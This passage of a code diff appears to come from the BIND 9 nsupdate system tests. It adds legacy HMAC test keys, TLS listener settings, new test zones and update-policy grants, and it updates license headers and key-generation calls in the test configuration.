diff --git a/bin/tests/system/nsupdate/ns1/legacy/Klegacy-162.+162+00032.key b/bin/tests/system/nsupdate/ns1/legacy/Klegacy-162.+162+00032.key
new file mode 100644
index 0000000000..126c94f943
--- /dev/null
+++ b/bin/tests/system/nsupdate/ns1/legacy/Klegacy-162.+162+00032.key
@@ -0,0 +1 @@
+legacy-162. IN KEY 0 3 162 nSIKzFAGS7/tvBs8JteI+Q==
diff --git a/bin/tests/system/nsupdate/ns1/legacy/Klegacy-162.+162+00032.private b/bin/tests/system/nsupdate/ns1/legacy/Klegacy-162.+162+00032.private
new file mode 100644
index 0000000000..af78756918
--- /dev/null
+++ b/bin/tests/system/nsupdate/ns1/legacy/Klegacy-162.+162+00032.private
@@ -0,0 +1,7 @@
+Private-key-format: v1.3
+Algorithm: 162 (HMAC_SHA224)
+Key: nSIKzFAGS7/tvBs8JteI+Q==
+Bits: AAA=
+Created: 20230619042555
+Publish: 20230619042555
+Activate: 20230619042555
diff --git a/bin/tests/system/nsupdate/ns1/legacy/Klegacy-163.+163+48857.key b/bin/tests/system/nsupdate/ns1/legacy/Klegacy-163.+163+48857.key
new file mode 100644
index 0000000000..6945b1b6cd
--- /dev/null
+++ b/bin/tests/system/nsupdate/ns1/legacy/Klegacy-163.+163+48857.key
@@ -0,0 +1 @@
+legacy-163. IN KEY 0 3 163 CvaupxnDeES3HnlYhTq53w==
diff --git a/bin/tests/system/nsupdate/ns1/legacy/Klegacy-163.+163+48857.private b/bin/tests/system/nsupdate/ns1/legacy/Klegacy-163.+163+48857.private
new file mode 100644
index 0000000000..590ba14623
--- /dev/null
+++ b/bin/tests/system/nsupdate/ns1/legacy/Klegacy-163.+163+48857.private
@@ -0,0 +1,7 @@
+Private-key-format: v1.3
+Algorithm: 163 (HMAC_SHA256)
+Key: CvaupxnDeES3HnlYhTq53w==
+Bits: AAA=
+Created: 20230619042525
+Publish: 20230619042525
+Activate: 20230619042525
diff --git a/bin/tests/system/nsupdate/ns1/legacy/Klegacy-164.+164+09001.key b/bin/tests/system/nsupdate/ns1/legacy/Klegacy-164.+164+09001.key
new file mode 100644
index 0000000000..4869618e83
--- /dev/null
+++ b/bin/tests/system/nsupdate/ns1/legacy/Klegacy-164.+164+09001.key
@@ -0,0 +1 @@
+legacy-164. IN KEY 0 3 164 wDldBJwJrYfPoL1Pj4ucOQ==
diff --git a/bin/tests/system/nsupdate/ns1/legacy/Klegacy-164.+164+09001.private b/bin/tests/system/nsupdate/ns1/legacy/Klegacy-164.+164+09001.private
new file mode 100644
index 0000000000..f06f67a731
--- /dev/null
+++ b/bin/tests/system/nsupdate/ns1/legacy/Klegacy-164.+164+09001.private
@@ -0,0 +1,7 @@
+Private-key-format: v1.3
+Algorithm: 164 (HMAC_SHA384)
+Key: wDldBJwJrYfPoL1Pj4ucOQ==
+Bits: AAA=
+Created: 20230619042615
+Publish: 20230619042615
+Activate: 20230619042615
diff --git a/bin/tests/system/nsupdate/ns1/legacy/Klegacy-165.+165+61012.key b/bin/tests/system/nsupdate/ns1/legacy/Klegacy-165.+165+61012.key
new file mode 100644
index 0000000000..45a2811ba6
--- /dev/null
+++ b/bin/tests/system/nsupdate/ns1/legacy/Klegacy-165.+165+61012.key
@@ -0,0 +1 @@
+legacy-165. IN KEY 0 3 165 OgZrTcEa8P76hVY+xyN7Wg==
diff --git a/bin/tests/system/nsupdate/ns1/legacy/Klegacy-165.+165+61012.private b/bin/tests/system/nsupdate/ns1/legacy/Klegacy-165.+165+61012.private
new file mode 100644
index 0000000000..1635f2aea8
--- /dev/null
+++ b/bin/tests/system/nsupdate/ns1/legacy/Klegacy-165.+165+61012.private
@@ -0,0 +1,7 @@
+Private-key-format: v1.3
+Algorithm: 165 (HMAC_SHA512)
+Key: OgZrTcEa8P76hVY+xyN7Wg==
+Bits: AAA=
+Created: 20230619042627
+Publish: 20230619042627
+Activate: 20230619042627
diff --git a/bin/tests/system/nsupdate/ns1/many.test.db.in b/bin/tests/system/nsupdate/ns1/many.test.db.in
index 2a0ef307ea..824971b4e8 100644
--- a/bin/tests/system/nsupdate/ns1/many.test.db.in
+++ b/bin/tests/system/nsupdate/ns1/many.test.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/nsupdate/ns1/max-ttl.db b/bin/tests/system/nsupdate/ns1/max-ttl.db
index 0250960592..fea00b9f86 100644
--- a/bin/tests/system/nsupdate/ns1/max-ttl.db
+++ b/bin/tests/system/nsupdate/ns1/max-ttl.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/nsupdate/ns1/maxjournal.db.in b/bin/tests/system/nsupdate/ns1/maxjournal.db.in
index 12a67d3f02..d64842bde0 100644
--- a/bin/tests/system/nsupdate/ns1/maxjournal.db.in
+++ b/bin/tests/system/nsupdate/ns1/maxjournal.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/nsupdate/ns1/named.conf.in b/bin/tests/system/nsupdate/ns1/named.conf.in
index b51e700185..2c173bd5f2 100644
--- a/bin/tests/system/nsupdate/ns1/named.conf.in
+++ b/bin/tests/system/nsupdate/ns1/named.conf.in
@@ -1,18 +1,22 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
+include "tls.conf";
+
 options {
-	query-source address 10.53.0.1 dscp 1;
-	notify-source 10.53.0.1 dscp 22;
-	transfer-source 10.53.0.1 dscp 3;
+	query-source address 10.53.0.1;
+	notify-source 10.53.0.1;
+	transfer-source 10.53.0.1;
 	port @PORT@;
 	pid-file "named.pid";
 	session-keyfile "session.key";
@@ -21,6 +25,9 @@ options {
 	recursion no;
 	notify yes;
 	minimal-responses no;
+	update-quota 1;
+	dnssec-validation no;
+	include "tls.options";
 };
 
 acl named-acl {
@@ -29,7 +36,7 @@ acl named-acl {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -37,17 +44,17 @@ controls {
 };
 
 key altkey {
-	algorithm hmac-md5;
+	algorithm @DEFAULT_HMAC@;
 	secret "1234abcd8765";
 };
 
 key restricted.example.nil {
-	algorithm hmac-md5;
+	algorithm @DEFAULT_HMAC@;
 	secret "1234abcd8765";
 };
 
 key zonesub-key.example.nil {
-	algorithm hmac-md5;
+	algorithm @DEFAULT_HMAC@;
 	secret "1234subk8765";
 };
 
@@ -81,6 +88,7 @@ zone "other.nil" {
 	check-integrity no;
 	check-mx warn;
 	update-policy local;
+	allow-query { !10.53.0.2; any; };
 	allow-query-on { 10.53.0.1; 127.0.0.1; };
 	allow-transfer { any; };
 };
@@ -124,6 +132,12 @@ include "sha224.key";
 include "sha256.key";
 include "sha384.key";
 include "sha512.key";
+include "legacy157.key";
+include "legacy161.key";
+include "legacy162.key";
+include "legacy163.key";
+include "legacy164.key";
+include "legacy165.key";
 
 zone "keytests.nil" {
 	type primary;
@@ -135,6 +149,12 @@ zone "keytests.nil" {
 	    grant sha256-key name sha256.keytests.nil. ANY;
 	    grant sha384-key name sha384.keytests.nil. ANY;
 	    grant sha512-key name sha512.keytests.nil. ANY;
+	    grant legacy-157 name 157.keytests.nil. ANY;
+	    grant legacy-161 name 161.keytests.nil. ANY;
+	    grant legacy-162 name 162.keytests.nil. ANY;
+	    grant legacy-163 name 163.keytests.nil. ANY;
+	    grant legacy-164 name 164.keytests.nil. ANY;
+	    grant legacy-165 name 165.keytests.nil. ANY;
 	};
 };
 
diff --git a/bin/tests/system/nsupdate/ns1/sample.db.in b/bin/tests/system/nsupdate/ns1/sample.db.in
index 49212a1242..9118befac0 100644
--- a/bin/tests/system/nsupdate/ns1/sample.db.in
+++ b/bin/tests/system/nsupdate/ns1/sample.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/nsupdate/ns1/tls.conf.in b/bin/tests/system/nsupdate/ns1/tls.conf.in
new file mode 100644
index 0000000000..5bc9fa3c9e
--- /dev/null
+++ b/bin/tests/system/nsupdate/ns1/tls.conf.in
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+tls tls-forward-secrecy {
+    protocols { TLSv1.2; };
+    ciphers "HIGH:!kRSA:!aNULL:!eNULL:!RC4:!3DES:!MD5:!EXP:!PSK:!SRP:!DSS:!SHA1:!SHA256:!SHA384";
+    prefer-server-ciphers yes;
+    key-file "../CA/certs/srv01.crt01.example.nil.key";
+    cert-file "../CA/certs/srv01.crt01.example.nil.pem";
+    dhparam-file "../dhparam3072.pem";
+};
+
+tls tls-forward-secrecy-mutual-tls {
+    protocols { TLSv1.2; };
+    ciphers "HIGH:!kRSA:!aNULL:!eNULL:!RC4:!3DES:!MD5:!EXP:!PSK:!SRP:!DSS:!SHA1:!SHA256:!SHA384";
+    prefer-server-ciphers yes;
+    key-file "../CA/certs/srv01.crt01.example.nil.key";
+    cert-file "../CA/certs/srv01.crt01.example.nil.pem";
+    dhparam-file "../dhparam3072.pem";
+    ca-file "../CA/CA.pem";
+};
+
+tls tls-expired {
+    protocols { TLSv1.2; };
+    ciphers "HIGH:!kRSA:!aNULL:!eNULL:!RC4:!3DES:!MD5:!EXP:!PSK:!SRP:!DSS:!SHA1:!SHA256:!SHA384";
+    prefer-server-ciphers yes;
+    key-file "../CA/certs/srv01.crt02-expired.example.nil.key";
+    cert-file "../CA/certs/srv01.crt02-expired.example.nil.pem";
+    dhparam-file "../dhparam3072.pem";
+};
diff --git a/bin/tests/system/nsupdate/ns1/tls.options.in b/bin/tests/system/nsupdate/ns1/tls.options.in
new file mode 100644
index 0000000000..52f514b5f4
--- /dev/null
+++ b/bin/tests/system/nsupdate/ns1/tls.options.in
@@ -0,0 +1,18 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+tls-port @TLSPORT@;
+listen-on tls ephemeral { 10.53.0.1; };
+listen-on port @EXTRAPORT1@ tls tls-forward-secrecy { 10.53.0.1; };
+listen-on port @EXTRAPORT2@ tls tls-forward-secrecy-mutual-tls { 10.53.0.1; };
+listen-on port @EXTRAPORT3@ tls tls-expired { 10.53.0.1; };
diff --git a/bin/tests/system/nsupdate/ns10/example.com.db.in b/bin/tests/system/nsupdate/ns10/example.com.db.in
index 984274b518..f324b19f3a 100644
--- a/bin/tests/system/nsupdate/ns10/example.com.db.in
+++ b/bin/tests/system/nsupdate/ns10/example.com.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
@@ -17,3 +19,9 @@ $TTL 300	; 5 minutes
 				)
 			NS	ns10
 ns10			A	10.53.0.10
+single.any.self-srv	SRV	0 0 0 machine.example.com.
+many.any.self-srv	SRV	0 0 0 machine.example.com.
+many.any.self-srv	SRV	0 0 0 notmachine.example.com.
+single.srv.self-srv	SRV	0 0 0 machine.example.com.
+many.srv.self-srv	SRV	0 0 0 machine.example.com.
+many.srv.self-srv	SRV	0 0 0 notmachine.example.com.
diff --git a/bin/tests/system/nsupdate/ns10/in-addr.db.in b/bin/tests/system/nsupdate/ns10/in-addr.db.in
index 984274b518..dd5d64ebad 100644
--- a/bin/tests/system/nsupdate/ns10/in-addr.db.in
+++ b/bin/tests/system/nsupdate/ns10/in-addr.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
@@ -17,3 +19,9 @@ $TTL 300	; 5 minutes
 				)
 			NS	ns10
 ns10			A	10.53.0.10
+single.any.self-ptr	PTR	machine.example.com.
+many.any.self-ptr	PTR	machine.example.com.
+many.any.self-ptr	PTR	notmachine.example.com.
+single.ptr.self-ptr	PTR	machine.example.com.
+many.ptr.self-ptr	PTR	machine.example.com.
+many.ptr.self-ptr	PTR	notmachine.example.com.
diff --git a/bin/tests/system/nsupdate/ns10/named.conf.in b/bin/tests/system/nsupdate/ns10/named.conf.in
index 28fa5b5a29..a186d14114 100644
--- a/bin/tests/system/nsupdate/ns10/named.conf.in
+++ b/bin/tests/system/nsupdate/ns10/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -14,18 +16,21 @@ options {
 	notify-source 10.53.0.10;
 	transfer-source 10.53.0.10;
 	port @PORT@;
+	tls-port @TLSPORT@;
 	pid-file "named.pid";
 	session-keyfile "session.key";
 	listen-on { 10.53.0.10; };
+	listen-on tls ephemeral { 10.53.0.10; };
 	recursion no;
 	notify yes;
 	minimal-responses no;
+	dnssec-validation no;
 	@TKEY_CONFIGURATION@
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -35,7 +40,7 @@ controls {
 zone "in-addr.arpa" {
 	type primary;
 	file "in-addr.db";
-	update-policy {	grant EXAMPLE.COM ms-subdomain . PTR; };
+	update-policy {	grant EXAMPLE.COM ms-subdomain-self-rhs . PTR; };
 };
 
 zone "example.com" {
@@ -44,5 +49,6 @@ zone "example.com" {
 	update-policy {
 		grant EXAMPLE.COM ms-selfsub . ANY;
 		grant EXAMPLE.COM ms-subdomain _tcp.example.com SRV;
+		grant EXAMPLE.COM ms-subdomain-self-rhs self-srv.example.com SRV;
 	};
 };
diff --git a/bin/tests/system/nsupdate/ns2/named.conf.in b/bin/tests/system/nsupdate/ns2/named.conf.in
index da6b3b4e30..023adf7ad0 100644
--- a/bin/tests/system/nsupdate/ns2/named.conf.in
+++ b/bin/tests/system/nsupdate/ns2/named.conf.in
@@ -1,18 +1,20 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 options {
-	query-source address 10.53.0.2 dscp 4;
-	notify-source 10.53.0.2 dscp 5;
-	transfer-source 10.53.0.2 dscp 6;
+	query-source address 10.53.0.2;
+	notify-source 10.53.0.2;
+	transfer-source 10.53.0.2;
 	port @PORT@;
 	pid-file "named.pid";
 	listen-on { 10.53.0.2; };
@@ -20,11 +22,12 @@ options {
 	recursion yes;
 	notify yes;
 	serial-query-rate 1; // workaround for KB AA-01213
+	dnssec-validation no;
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -32,7 +35,7 @@ controls {
 };
 
 key altkey {
-	algorithm hmac-md5;
+	algorithm @DEFAULT_HMAC@;
 	secret "1234abcd8765";
 };
 
diff --git a/bin/tests/system/nsupdate/ns2/sample.db.in b/bin/tests/system/nsupdate/ns2/sample.db.in
index 0c8a1c0504..848cc861f6 100644
--- a/bin/tests/system/nsupdate/ns2/sample.db.in
+++ b/bin/tests/system/nsupdate/ns2/sample.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/nsupdate/ns3/delegation.test.db.in b/bin/tests/system/nsupdate/ns3/delegation.test.db.in
index a75bcd242c..195c73ba69 100644
--- a/bin/tests/system/nsupdate/ns3/delegation.test.db.in
+++ b/bin/tests/system/nsupdate/ns3/delegation.test.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/nsupdate/ns3/dnskey.test.db.in b/bin/tests/system/nsupdate/ns3/dnskey.test.db.in
index d3393a2706..df503fef08 100644
--- a/bin/tests/system/nsupdate/ns3/dnskey.test.db.in
+++ b/bin/tests/system/nsupdate/ns3/dnskey.test.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/nsupdate/ns3/example.db.in b/bin/tests/system/nsupdate/ns3/example.db.in
index e151333951..92c099867a 100644
--- a/bin/tests/system/nsupdate/ns3/example.db.in
+++ b/bin/tests/system/nsupdate/ns3/example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/nsupdate/ns3/multisigner.test.db.in b/bin/tests/system/nsupdate/ns3/multisigner.test.db.in
new file mode 100644
index 0000000000..7b4d91c4e0
--- /dev/null
+++ b/bin/tests/system/nsupdate/ns3/multisigner.test.db.in
@@ -0,0 +1,14 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+multisigner.test. 10 IN SOA multisigner.test. hostmaster.multisigner.test. 1 3600 900 2419200 3600
+multisigner.test. 10 IN NS multisigner.test.
+multisigner.test. 10 IN A 10.53.0.3
diff --git a/bin/tests/system/nsupdate/ns3/named.conf.in b/bin/tests/system/nsupdate/ns3/named.conf.in
index f658a19b1b..66c874ab0c 100644
--- a/bin/tests/system/nsupdate/ns3/named.conf.in
+++ b/bin/tests/system/nsupdate/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -12,9 +14,9 @@
 // NS3
 
 options {
-	query-source address 10.53.0.3 dscp 7;
-	notify-source 10.53.0.3 dscp 8;
-	transfer-source 10.53.0.3 dscp 9;
+	query-source address 10.53.0.3;
+	notify-source 10.53.0.3;
+	transfer-source 10.53.0.3;
 	port @PORT@;
 	pid-file "named.pid";
 	listen-on { 10.53.0.3; };
@@ -24,12 +26,32 @@ options {
 	dnssec-validation yes;
 };
 
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.3 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+dnssec-policy "default-dynamic" {
+	inline-signing no;
+};
+
 zone "example" {
 	type primary;
 	allow-update { any; };
 	file "example.db";
 };
 
+zone "relaxed" {
+	type primary;
+	allow-update { any; };
+	check-svcb no;
+	file "relaxed.db";
+};
+
 zone "nsec3param.test" {
 	type primary;
 	allow-update { any; };
@@ -61,3 +83,11 @@ zone "too-big.test" {
 	max-records 3;
 	file "too-big.test.db";
 };
+
+/* Zone for testing CDS and CDNSKEY updates from other provider */
+zone "multisigner.test" {
+	type primary;
+	allow-update { any; };
+	dnssec-policy "default-dynamic";
+	file "multisigner.test.db";
+};
diff --git a/bin/tests/system/nsupdate/ns3/nsec3param.test.db.in b/bin/tests/system/nsupdate/ns3/nsec3param.test.db.in
index 6969414ec1..b26f5bdf78 100644
--- a/bin/tests/system/nsupdate/ns3/nsec3param.test.db.in
+++ b/bin/tests/system/nsupdate/ns3/nsec3param.test.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/nsupdate/ns3/relaxed.db.in b/bin/tests/system/nsupdate/ns3/relaxed.db.in
new file mode 100644
index 0000000000..a136322f78
--- /dev/null
+++ b/bin/tests/system/nsupdate/ns3/relaxed.db.in
@@ -0,0 +1,15 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+relaxed. 10 IN SOA relaxed. hostmaster.relaxed. 1 3600 900 2419200 3600
+relaxed. 10 IN NS relaxed.
+relaxed. 10 IN A 10.53.0.3
+relaxed. 10 IN NSEC3PARAM 1 1 0 -
diff --git a/bin/tests/system/nsupdate/ns3/sign.sh b/bin/tests/system/nsupdate/ns3/sign.sh
index 2fab79ba56..519497c6da 100644
--- a/bin/tests/system/nsupdate/ns3/sign.sh
+++ b/bin/tests/system/nsupdate/ns3/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -15,8 +17,8 @@ zone=nsec3param.test.
 infile=nsec3param.test.db.in
 zonefile=nsec3param.test.db
 
-keyname1=`$KEYGEN -q -a NSEC3RSASHA1 -b 1024 -n zone -f KSK $zone`
-keyname2=`$KEYGEN -q -a NSEC3RSASHA1 -b 1024 -n zone $zone`
+keyname1=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone -f KSK $zone)
+keyname2=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone $zone)
 
 cat $infile $keyname1.key $keyname2.key >$zonefile
 
@@ -26,8 +28,8 @@ zone=dnskey.test.
 infile=dnskey.test.db.in
 zonefile=dnskey.test.db
 
-keyname1=`$KEYGEN -q -a RSASHA1 -b 1024 -n zone -f KSK $zone`
-keyname2=`$KEYGEN -q -a RSASHA1 -b 1024 -n zone $zone`
+keyname1=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone -f KSK $zone)
+keyname2=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone $zone)
 
 cat $infile $keyname1.key $keyname2.key >$zonefile
 
@@ -37,9 +39,12 @@ zone=delegation.test.
 infile=delegation.test.db.in
 zonefile=delegation.test.db
 
-keyname1=`$KEYGEN -q -a RSASHA256 -3 -f KSK $zone`
-keyname2=`$KEYGEN -q -a RSASHA256 -3 $zone`
+keyname1=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -3 -f KSK $zone)
+keyname2=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -3 $zone)
 
 cat $infile $keyname1.key $keyname2.key >$zonefile
 
 $SIGNER -A -3 - -P -o $zone -k $keyname1 $zonefile $keyname2 > /dev/null
+
+# Just copy multisigner.db.in because it is signed with dnssec-policy.
+cp multisigner.test.db.in multisigner.test.db
diff --git a/bin/tests/system/nsupdate/ns3/too-big.test.db.in b/bin/tests/system/nsupdate/ns3/too-big.test.db.in
index f271d27103..45ee9ade1a 100644
--- a/bin/tests/system/nsupdate/ns3/too-big.test.db.in
+++ b/bin/tests/system/nsupdate/ns3/too-big.test.db.in
